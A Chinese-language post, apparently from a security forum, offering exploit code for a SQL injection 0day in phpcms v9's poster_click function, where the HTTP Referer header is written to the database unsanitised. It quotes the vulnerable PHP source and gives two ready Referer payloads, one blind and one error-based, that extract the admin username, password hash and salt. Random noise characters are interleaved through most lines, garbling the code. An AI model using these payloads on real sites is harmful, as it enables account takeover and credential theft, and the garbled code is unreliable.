phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

, S; |  u9 z/ |4 v. u  I问题函数\phpcms\modules\poster\index.php

  d% m* j2 ?1 o6 v; V; Y/ ^" [$ A( O4 Xpublic function poster_click() {
, W/ O, E+ c& O! W, {$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
) g/ A" Z# \2 G/ C$r = $this->db->get_one(array('id'=>$id));
9 H% i: U; P# I  l- Z5 P4 N. bif (!is_array($r) && empty($r)) return false;
- c. T  N1 G; W+ `# m8 ?" n$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
% X% a$ c9 V( R8 o1 b, h0 l& p$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
6 F4 H/ k6 Q5 O( @if($id) {
  Z1 f8 i0 v1 O& ?. b; _/ l. Z  v! {$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
* G3 W$ r5 ]. A4 O- n# i$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
4 t3 A1 I/ t4 ^, }$setting = string2array($r['setting']);
' U: u- {" ]! Fif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
) ]4 Y! `3 u6 w  r- z* [% K$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
. {2 E& K6 F! E6 k5 P/ f* L}
* j, u! [, e  ?header('Location: '.$url);
+ c' {" n" X: L}
" E2 M7 ^9 p. W
+ f! e3 [% V+ `& T2 ~5 u

: `% p3 a- l1 B% ]. v" ~7 C* P利用方式：
$ S& \4 T! R/ a5 _# B
1、可以采用盲注入的手法：
! v' }' C+ |6 C4 A* X
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

# g8 L. X2 H; X2 n/ X通过返回页面，正常与否一个个猜解密码字段。

$ C( G+ r2 [  p" U* t- x2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
# a+ r6 X8 e% l0 |- E
此方法是爆错注入手法，原理自查。
